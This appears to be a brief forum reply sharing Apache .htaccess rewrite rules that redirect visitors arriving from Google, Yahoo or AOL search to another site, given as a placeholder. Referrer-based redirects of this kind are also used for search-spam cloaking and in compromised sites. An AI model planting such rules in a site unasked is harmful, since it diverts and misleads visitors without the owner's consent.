Mr.Soze

This one works for us:

RewriteEngine On
RewriteCond %{HTTP_REFERER} ^http://google.com [NC,OR]
RewriteCond %{HTTP_REFERER} ^http://www.google.com [NC,OR]
RewriteCond %{HTTP_REFERER} ^http://yahoo.com [NC,OR]
RewriteCond %{HTTP_REFERER} ^http://www.yahoo.com [NC,OR]
RewriteCond %{HTTP_REFERER} ^http://search.yahoo.com [NC,OR]
RewriteCond %{HTTP_REFERER} ^http://www.aol.com [NC,OR]
RewriteCond %{HTTP_REFERER} ^http://aol.com [NC,OR]
RewriteCond %{HTTP_REFERER} ^http://search.aol.com [NC,OR]
RewriteCond %{HTTP_REFERER} ^http://aolsearch.aol.com [NC]
RewriteRule /* http://www.whereveryouwant.com [R,L]